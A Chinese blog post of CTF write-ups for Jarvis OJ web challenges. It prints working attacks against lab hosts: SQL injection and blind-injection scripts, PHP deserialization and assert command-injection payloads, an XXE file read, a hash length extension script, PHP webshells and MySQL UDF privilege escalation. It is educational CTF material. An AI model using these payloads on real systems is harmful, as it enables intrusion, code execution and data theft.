PORT51

要从51端口访问这个网站,curl走一波:

curl web.jarvisoj.com:32770 --local-port 51

LOCALHOST

本地访问,加一对XFF键值对就好啦:

X-Forwarded-For : 127.0.0.1

Login

需要登录,尝试注入,未果。抓包,发现 header 里面有一个hint:

"select * from `admin` where password='".md5($pass,true)."'"

md5()这个函数可以接受两个参数:stringraw

  1. 第一个参数string是必需的,规定要计算的字符串。
  2. 第二个参数raw可选,规定十六进制或二进制输出格式:

    • TRUE – 原始 – 16 字符二进制格式
    • FALSE – 默认 – 32 字符十六进制数

raw参数为 true 意味着加密后的值会被当成字符串来看,于是找一个加密后带有注入语句的值就可以了。

这里给出两个:

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

神盾局的秘密

这道题打开来是一张图片。日常查看源码,发现源码如下:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

点开链接,发现是一堆奇怪的字符。观察这个URL,这里应该是将 img 进行base64解密后再将这个文件包含进来。想到文件包含,那就来包含一下这个 showimg.php 和 index.php 的源码吧:

index.php源码

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

showimg.php源码

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

看到 index.php 里面的 unserialize 就想到反序列化漏洞。然后就找可用的函数。这里包含了一个 shield.php ,于是再看一下它的源码:

shield.php源码

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

这时候应该很明显了。剩下的不难,直接放exp吧:

exp

<?php
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    
    $a = new Shield('pctf.php');
    echo serialize($a);
?>

Get flag.

IN A Mess

打开题目,日常查看源码。发现有提示index.phps。打开后发现是 index.php 的源码:

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

观察源码,接受三个参量,然后就是各种限制了。绕过方法如下:

  • id=asd : 利用PHP中 == 漏洞来绕过;
  • a=php://input : PHP伪协议的利用;
  • b=%00asdasdas : 利用 %00 截断来绕过 eregi 函数;

绕过之后得到:

Come ON!!! {/^HT2mCpcvOLf}

一个新路径。进去之后没什么东西。看到URL中id=1,猜想会有SQL注入漏洞。输入一个单引号,返回 SELECT * FROM content WHERE id=1’ 。简单测试了一下,过滤了 空格 以及 /**/ ,还有像 select , union, from 这种关键字都被正则替换了一次。

确定了这些后,接下来就是绕过了:

  • 空格被过滤了就用注释代替(如 /*asd*/);
  • select 这些就用 selselectect 这样的绕过就好了。

那么就开始注入吧:

确定列数
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,3%23
确定表名
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(table_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_schema=database()#
确定列名
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,group_concat(column_name)/*aaa*/frofromm/*aaa*/information_schema.columns/*aaa*/where/*aaa*/table_name=0x636f6e74656e74%23
获得数据
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*aaa*/ununionion/*aaa*/seselectlect/*aaa*/1,2,context/*aaa*/frfromom/*aaa*/content%23

成功Get flag。

inject

Hint 让我找源码,那就扫一波后台。果然扫出了一个奇怪的路径:index.php~ 。打开后得到源码:

exp

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

那就注入吧。这个反引号比较神奇:

desc `users` `23333333`;

像这样的语句,只要第一个反引号中的表是存在的,那么这整条语句都不会报错。于是乎,开始注入:

查库名
?table=flag` `  union select database() limit 1,1
查表名
?table=flag` `  union select group_concat(table_name) from information_schema.columns where table_schema=database() limit 1,1
查列名
?table=flag` `  union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
查flag
?table=flag` `  union select flagUwillNeverKnow from secret_flag  limit 1,1

成功 Get flag。

babyphp

打开题目后,在about里面写了使用了GIT,猜测有源码泄露。用GitHack爬一波源码:

index.php源码

<?php
if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="utf-8">
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width, initial-scale=1">

                <title>My PHP Website</title>

                <link rel="stylesheet" href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" />
        </head>
        <body>
                <nav class="navbar navbar-inverse navbar-fixed-top">
                        <div class="container">
                        <div class="navbar-header">
                                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                                <span class="sr-only">Toggle navigation</span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                </button>
                                <a class="navbar-brand" href="#">Project name</a>
                        </div>
                        <div id="navbar" class="collapse navbar-collapse">
                                <ul class="nav navbar-nav">
                                <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                                <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                                <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                                                <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                                </ul>
                        </div>
                    </div>
                </nav>

                <div class="container" style="margin-top: 50px">
                        <?php
                                require_once $file;
                        ?>
                </div>
                <script src="http://code.jquery.com/jquery-latest.js" />
                <script src="http://libs.baidu.com/bootstrap/3.0.3/js/bootstrap.min.js" />
        </body>
</html>

查看源码,发现有一句注释掉的语句:

<!--<li ><a href="?page=flag">My secrets</a></li> -->

暂时没什么用处。观察这三句:

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");

PHP有一个神奇的特性:字符串在拼接的时候是可以执行命令的!

所以构造Payload如下:

?page=flag'.system("ls templates/;").'

此时构造出来的语句如下:

assert("strpos('templates/flag'.system("ls templates/;").'.php', '..') === false") or die("Detected hacking attempt!");

此时程序会先执行ls,然后将输出结果与'templates/'和'.php'拼接起来,然后再去执行strpos,所以输出结果:

about.php contact.php flag.php home.php about.php contact.php flag.php home.php That file doesn't exist!

于是cat flag:

http://web.jarvisoj.com:32798/?page=flag%27.system(%22cat%20templates/flag.php%22).%27

在源码中可以看到flag被注释掉了,所以F12就好啦~

Simple Injection

基于布尔的盲注。测试了一下只过滤了空格。那么上脚本:

index.php源码

#encoding: utf-8
import requests
import string

characters = string.ascii_letters + string.digits + string.punctuation
url = "http://web.jarvisoj.com:32787/login.php"
r = requests.session()
max_len = 50

database = ""

for i in range(1,max_len):
    next_postion = False

    for j in characters:
        #payload = "admin'/**/and/**/substr(database(),{0},1)='{1}'#" .format(i, j)
        #payload = "admin'/**/and/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1)='{1}'#" .format(i, j)
        #payload = "admin'/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/2,1),{0},1)='{1}'#" .format(i, j)
        payload = "admin'/**/and/**/substr((select/**/password/**/from/**/admin),{0},1)='{1}'#" .format(i, j)
        #print (payload)

        data = {
            "username": payload,
            "password": "admin"
        }

        response = r.post(url, data=data)

        if "密码错误" in response.text:
            database += j
            next_postion = True
            break

    if not next_postion:
        break

    print (database)

print (database)

(爆破哪些信息应该看的出来吧╰( ̄ω ̄o))

api调用

这题需要用到XXE漏洞。来几篇文章了解一下XXE:

https://security.tencent.com/index.php/blog/msg/69

http://www.freebuf.com/articles/web/126788.html

http://www.mottoin.com/92794.html

将Content-Type改为 application/xml,再POST以下数据上去:

<?xml version="1.0"?>
<!DOCTYPE abcd[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>

<something>&any;</something>

Get Flag!

WEB?

打开以为是注入,然而并不是……查看源码发现 app.js 这个路径,打开后得到一堆JS代码。找个在线网站格式化一下。(好长一段就不放上来了吧)

搜一下password,得到以下代码:

$.post("checkpass.json", t,
function(t) {
    self.checkpass(e) ? self.setState({
        errmsg: "Success!!",
        errcolor: b.green400
    }) : (self.setState({
        errmsg: "Wrong Password!!"
        ......
    }))
})

再搜一下这个checkpass函数,得到:

function(e) {
    if (25 !== e.length) return ! 1;
    for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
    for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
        for (var i = 0, a = 0; a < 25; a++) i += t[a] * o[n][a];
        if (i !== r[n]) return ! 1
    }
    return ! 0
}

25元方程组…………打扰了…………

上Python脚本:

import numpy as np
o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = np.array(o)
r = np.array(r)
x = np.linalg.solve(o,r)

#print (x)
result = ''
for i in x:
    result += chr(int(round(i)))
print(result)

这个numpy库可以用来解线性方程组。解出来就是flag了。

flag在管理员手里

进去后提示要admin才能得到flag。扫一波后台,发现有个路径 index.php~ 下载下来一个文件。放进Linux里面还原,得到源码:

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
    body {
        background:gray;
        text-align:center;
    }
</style>
</head>

<body>
    <?php 
        $auth = false;
        $role = "guest";
        $salt = 
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is 
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>
    
</body>
</html>

要想获得flag就需要设置Cookie中的role为admin,然后这个hsh则是一个加了盐的hash值。加了盐看似很安全,但是这里存在一个哈希长度扩展攻击。

两篇参考文章:
https://www.freebuf.com/articles/web/69264.html
https://www.freebuf.com/articles/web/31756.html

生成payload可以用hashpump这个工具。教程:
https://www.cnblogs.com/pcat/p/5478509.html

那么就上脚本吧:

import hashpumpy
import urllib
import requests
for i in range(1,30):
    m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
    print (i)
    url='http://120.26.131.152:32778/'
    digest=m[0]

    message=urllib.quote(urllib.unquote(m[1])[::-1])
    cookie='role='+message+'; hsh='+digest
    #print cookie
    headers={
    'cookie': cookie,
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate'
}
    #print (headers)
    re=requests.get(url=url,headers=headers)

    if "Welcome" in re.text:
        print (re.text)
        break

上面的脚本是在Linux环境下跑的。因为Windows环境下我装不了hashpumpy这个库。(也不知道为什么)

Chopper

打开题目,点管理员登录,发现没有权限。查看源码,发现管理员IP:202.5.19.128。
尝试加XFF头,未果。回到最开始的界面,查看源码,发现图片的代码如下:

<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

这里我去查了writeup才知道,这里是双重文件包含。猜想管理员IP下面也有一个相同的proxy.php,于是构造URL:

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

果然访问进去了。扫一波后台,发现robots.txt,查看到有两个文件:trojan.php.txttrojan.php

PHP后缀的应该就是木马了。打开trojan.php.txt,发现一堆奇怪的字符串:

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

本地搭个环境,跑一遍看看,发现报错:

Notice: Undefined offset: 360 in G:\Study\Server\PHPStudy\PHPTutorial\WWW\index.php(1) : assert code on line 1

Warning: assert(): Assertion "eval($_POST[360])" failed in G:\Study\Server\PHPStudy\PHPTutorial\WWW\index.php on line 1

得到木马 eval($_POST[360])。菜刀连上去,得到flag。

RE?

给了一个so文件。这里有一个东西叫做udf提权(等我仔细学习后再记录吧)。

> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+

#把 udf.so 移到该目录下

> create function help_me returns string soname 'udf.so';
> select help_me();
+---------------------------------------------+
| help_me()                                   |
+---------------------------------------------+
| use getflag function to obtain your flag!!  |
+---------------------------------------------+

> create function getflag returns string soname 'udf.so';
> select getflag();
+------------------------------------------+
| getflag()                                |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function}  |
+------------------------------------------+

> drop function help_me;
> drop function getflag;

Easy Gallery

图片上传和文件包含。URL中有page=这样的语句,于是随便输一些东西,发现报错:

Warning: fopen(‘.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!

于是猜想文件包含。发现会加.php后缀,于是加%00截断,发现可以截断。用伪协议读源码,发现被ban了。

猜想上传木马再进行文件包含。上传发现只能上传jpg或gif,于是把木马写在图片的最后。发现被改名了。

扫一波目录发现有upload目录,估计上传的文件都在这里。

到这里我就没思路了。查了wp后说是只要包含了就给flag。于是包含,发现 <?php 被ban了。改成<script language='php'> @eval($_GET["cmd"]); </script>,得到flag。

看到有大佬说这题只检测了 <script language='php'><?php。出现前者给flag,后者就ban。
最后修改:2019 年 06 月 12 日
如果觉得我的文章对你有用,请随意赞赏